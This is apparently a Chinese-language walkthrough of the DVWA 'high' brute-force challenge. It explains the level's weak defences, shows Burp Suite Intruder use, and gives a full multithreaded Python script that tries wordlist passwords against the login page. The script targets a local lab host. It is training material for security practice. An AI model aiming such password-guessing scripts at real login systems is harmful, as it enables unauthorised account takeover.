题目分析:
题目打开就是这种样子,输入一个用户名和密码。看看源码看样子比中级多了两个stripslashes(
)函数,这个函数的作用是去除字符串中的反斜杠,如果有两个反斜杠,则只去除一个。 而且可以看到代码中多了一个sleep,就是当失败后,会sleep
3秒再返回response,但依然没有限制IP尝试次数,或增加图片验证码,所以爆破依然可以轻松进行。这次我们用两种方法来进行爆破
1.BurpSuite
首先打开抓包,提取登录包,然后ctrl+i发送到intruder。 设置爆破位为password字段加载字典,设置线程数为3,最好不要设置的太大,会使很多数据包丢失。
虽然这种方法慢点,但是依然可以破解出来。而且不需要任何编程知识,毕竟是神器呀~
爆破出密码
2.Python脚本
接下来让我们自己编写一个python脚本,多线程爆破,代码和注释如下import requests #发送网络请求,建立网络连接,得到响应报文等 import threading #线程库 import queue #队列,实现多线程安全访通信 passwd = open('passwd.txt' ,'r') #读取字典文件 pw_list = [x.replace('\n','') for x in list(passwd)] #把字典写入到列表中 cookie={"security":"high","PHPSESSID":"fd3c76123310e1e179738d6c929eb9c6"} #链接cookie true_state = 'Welcome to the password protected area admin' #密码正确的标志,如果响应报文中出现这个字符串,说明破解成功 def get_url(url_queue): #url放入队列函数,参数是共享的队列 for i in range(len(pw_list)): #字典列表长度 url_queue.put('http://192.168.150.131/dvwa/vulnerabilities/brute?username=admin& password=%s&Login=Login'%pw_list[i]) #将访问的链接放入队列,访问的链接是由网页路径和一系列参数组合而成的,其中密码项是刚才读取的字典列表中的值 print "Password Dictionary Loaded Successfully!" #所有链接都放入到队列中后返回成功语句。 def get_res(url_queue, id ): #对队列中的链接地址进行访问,参数是链接队列和线程id while True: #循环 url = url_queue.get() #从链接队列中取一个链接 res = requests.get(url,cookies=cookie).content #访问该链接并取得网页内容,cookie设置为自己的cookie。 print "Thread %d is Testing:'%s'"%(id,url.split('=')[2].split('&')[0]) #输出现在在尝试的密码项 if true_state in res: #判断响应页面中是否有密码正确的标志 print "Password Test Finished!Password is '%s'"%url.split('=')[2].split('&')[0] #输出正确的密码 break if __name__=='__main__': #主函数 url_queue = queue.Queue(maxsize=10000) #定义一个最大尺寸为10000的队列 get_url_thread = threading.Thread(target=get_url,args=(url_queue,)) #初始化放入队列函数的线程,加载密码字典,生成链接并放入队列中 pw_test_thread_list = [] #声明密码爆破线程列表 thread_num = 10 #定义密码爆破线程数 for i in range(thread_num): #循环线程数 pw_test_thread = threading.Thread(target=get_res,args=(url_queue,i)) #初始化密码爆破线程 pw_test_thread_list.append(pw_test_thread) #将密码爆破线程放入密码爆破线程列表 get_url_thread.start() #开启放入队列线程 for i in range(thread_num): #循环开启密码爆破列表中的线程 pw_test_thread_list[i].start() get_url_thread.join() #放入队列线程开始执行 for i in range(thread_num): pw_test_thread_list[i].join() #密码爆破线程开始执行由于时间关系,只测试几个密码看是否能够破解成功
由上图可知,密码测试成功,说明该脚本可以实现爆破功能。 路漫漫其修远兮,吾将上下而求索